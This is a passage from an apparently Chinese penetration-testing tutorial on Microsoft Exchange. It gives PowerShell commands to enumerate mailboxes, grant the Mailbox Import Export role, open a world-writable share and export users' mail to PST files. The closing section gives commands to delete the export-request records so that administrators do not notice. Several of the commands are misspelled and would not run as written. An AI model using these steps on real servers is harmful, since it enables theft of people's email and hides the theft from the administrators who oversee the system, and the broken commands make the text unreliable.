结果中的exchangeRFRexchangeABexchangeMDBSMTPSmtpSvc等都是Exchange注册的服务。

Exchange的基本操作

既然Exchange是一个电子邮件系统,那么其中必然存在数据库。Exchange数据库的后缀为.edb,存储在Exchange服务器上。通过Exchange发送、接受、存储的邮件,都会存储在Exchange的数据库中。为了保证可用性,Exchange的运行一般需要两台以上的服务器。使用Powershell可以查看Exchange数据库的信息。

查看邮件数据库

在Powershell执行:

1
Get-MailboxDatabase -server "Exchange1"

但是正常来说,Powershell中是没有这个命令的,需要导入Exchange管理单元:

1
Add-Pssnapin Microsoft.Exchange*

可以指定一个数据库,对其详细信息进行查询。例如,输入如下命令,查询数据库的物理路径:

1
Get-MailboxDatabase -Identity "Mailbox Database 1894576043" | Format-List Name,EdbFilePath,LogFolderPath

这里的Mailbox Database 1894576043Get-MailboxDatabase获取的数据库的名称。

获取现有用户的邮件地址

使用Powershell查询,列举Exchange中所有的用户及其邮箱地址。

输入命令:

1
Get-Mailbox | format-tables Name,WindowsEmailAddress
查看指定用户的邮箱使用信息

输入如下命令,查看指定用户的邮箱空间和最后登陆时间:

1
Get-MailBoxStatistics -Identity administrator | Select DisplayName,ItemCount,TotalItemSize,LastLogonTime
获取用户邮箱中的邮件数量
1
Get-Mailbox -ResultSize Unlimited | Get-MailboxStatistics | Sort-Object TotalItemSize -Descend

这个命令还能查看谁没有使用过Exchange邮件系统。

导出指定的电子邮件

Exchange邮件的文件后缀为.pst,在Exchange Server 2007中导出邮件,需要使用Export-Mailbox命令。在Exchange Server 2010 SP1及以后版本的Exchange中导出邮件,可以使用图形化界面,也可以使用Poiwershell。如果需要使用PST格式的邮件文件,需要为能够操作Powershell的用户配置邮箱导入/导出权限。

配置用户的导入/导出权限
  1. 查看用户权限

    1
    Get-ManagementRoleAssignment -role "Mailbox Import Export" | Format-List RoleAssigneeName
  2. 添加权限

    将Administrator用户添加到Mailbox Import Export角色组中,就可以通过Powershell导出用户的邮件了。

    1
    New-ManagementRoleAssignment -Name "Import Export_Domian Admins" -User "Administrator" -Role "Mailbox Import Export"
  3. 删除权限

    1
    Remove-ManagementRoleAssigned "Import Export_Domain Admins" -Confirm $false

将用户添加到角色组中后,需要重启Exchange服务器才能执行导出操作。

设置网络共享文件夹

无论使用哪种方式导出邮件,都需要将文件放置在UNC路径下。类似\\hostname\sharename就是UNC路径。

首先需要开启共享:

1
net share inetpub=C:\inetpub /grant:everyone,full
导出用户的电子邮件
  1. 使用Powershell导出电子邮件

    用户的电子邮箱目录一般分为Inbox、SentItems、DeletedItems、Drafts。

    使用New-MailboxExportRequest命令,可以将指定用户的所有邮件导出。输入命令如下:

    1
    New-MailboxExportRequest -Mailbox administrator -FilePath \\pc\inetpub\administrator.pst
  2. 通过图形化界面导出电子邮件

    在浏览器地址栏中输入 http://server\ecp可以登陆Exchange管理中心,输入之前添加到Mailbox Import Export角色组中的用户账号和密码,然后登陆。

    进入管理中心后,查看收件人选项,通过添加用户,可以将域用户添加到Exchange服务器中。然后选中用户导出PST文件,再导出到指定用户的电子邮件中。接着设置导出路径为UNC路径。

管理导出请求

不管是Powershell还是图形化,都会再Exchange留下记录,这些信息会被管理人员发现。

使用Powershell可以查看导出请求记录:

1
Get-MailboxExportRequest

使用如下命令删除指定用户的已完成导出请求记录:

1
Remove-MailboxExportRequest -Identity Administrator\mailboxexport

使用如下命令删除所有已完成的导出请求记录:

1
Get-MailboxExportRequest -Status Completed | Remove-MailboxExortRequest